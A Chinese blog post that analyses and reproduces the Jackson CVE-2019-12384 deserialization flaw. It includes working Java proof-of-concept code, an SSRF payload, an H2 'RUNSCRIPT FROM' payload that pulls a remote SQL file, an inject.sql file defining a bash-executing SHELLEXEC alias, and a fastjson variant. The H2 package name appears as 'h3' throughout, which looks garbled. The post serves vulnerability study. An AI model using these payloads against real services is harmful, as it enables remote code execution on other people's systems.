温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么实现CVE-2019-12384漏洞分析及复现

发布时间:2021-12-24 21:37:42 来源:亿速云 阅读:156 作者:柒染 栏目:安全技术

这篇文章给大家介绍怎么实现CVE-2019-12384漏洞分析及复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

引言

近期关于Jackson的RCE漏洞CVE-2019-12384爆出,关于漏洞的复现以及依赖,这里已经给出,笔者这边使用java的环境重新复现了一下,权当给各位看官当个翻译,也让在java上进行漏洞复现的兄弟们少走点弯路。

环境准备

本次漏洞有比较鸡肋的地方,就是依赖的第三方jar包有点多,除去jackson自身的jar包以外还需要logback-core和h3,具体的pom配置如下:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.9.8</version>
</dependency>

<!--https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-core</artifactId>
    <version>1.3.0-alpha4</version>
</dependency>

<!--https://mvnrepository.com/artifact/com.h3database/h3 -->
<dependency>
    <groupId>com.h3database</groupId>
    <artifactId>h3</artifactId>
    <version>1.4.199</version>
    <scope>test</scope>
</dependency>
<dependency>
    <groupId>com.h3database</groupId>
    <artifactId>h3</artifactId>
    <version>1.4.199</version>
    <scope>compile</scope>
</dependency> 

漏洞复现

国外的大佬们用的是ruby实现的漏洞利用环境,我这边为了方便idea的debug,索性使用java来做复现,具体的注意细节我也在代码里面注释了,大家看注释就好, 

JackonSerial.javaimport com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.SerializationFeature;import org.h3.Driver;public class JackonSerial {    public static void main(String[] args) throws Exception {        //一定要实例化Driver否则会报错        Class.forName("org.h3.Driver").newInstance();        System.out.println("Mapping");        //该条payload用于SSRF的复现        String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h3:tcp://127.0.0.1:8005/~/test\"}]";        //该条payload用于RCE的复现        String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h3:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);        System.out.println("Serializing");        Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)        System.out.println("objectified");        System.out.println("stringified: " + mapper.writeValueAsString(obj));    }}inject.sqlCREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{    String[] command = {"bash", "-c", cmd};    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");    return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('open/Applications/Calculator.app/')

使用第一个payload实现SSRF的效果图。

怎么实现CVE-2019-12384漏洞分析及复现

使用第二个payload实现RCE的效果图。

怎么实现CVE-2019-12384漏洞分析及复现

漏洞分析

先看一下SSRF漏洞调用栈。

怎么实现CVE-2019-12384漏洞分析及复现

Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用getConnection()方法的时候,就去再去调DriverManager从而去链接远程的数据库,这也就是造成SSRF的原因 

public Connection getConnection() throws SQLException {
   
return this.getUser() == null ? DriverManager.getConnection(this.url) : DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
}

下面说一下RCE。

先介绍一下jdbc:h3:mem: 这种写法用于h3操作内存表,并且能在内存中执行sql语句,然后再通过RUNSCRIPT FROM 'http://localhost/inject.sql'来执行从远程获取的sql文件,当然此处改成直接执行本地语句造成命令执行也是可以的。

因为这些执行都是在本地应该内存中的,而本地代码就是java,就是只需要在sql里面写一个java代码的函数,通过CALL来调用,变回造成java代码在本地应用执行从而造成RCE,RCE的关键调用栈如下:

怎么实现CVE-2019-12384漏洞分析及复现

总结

1、这个漏洞的利用有两个特别鸡肋的点:

第一点, 它需要依赖两个jar才能造成rce漏洞;

第二点, 注意这个漏洞的触发,是在序列化恶意的对象的时候触发的,而jackjson大部分情况在web中都是用于处理去反序列化前端传入的json数据的。

2、相同的套路在fastjson也是可以造成RCE的,但是利用同样鸡肋。

Demo

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
public static void main(String[] args){
       ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
       String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\":\"jdbc:h3:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}";
       JSONObject json = JSON.parseObject(payload);
       json.toJSONString();
   }
}

怎么实现CVE-2019-12384漏洞分析及复现

关于怎么实现CVE-2019-12384漏洞分析及复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI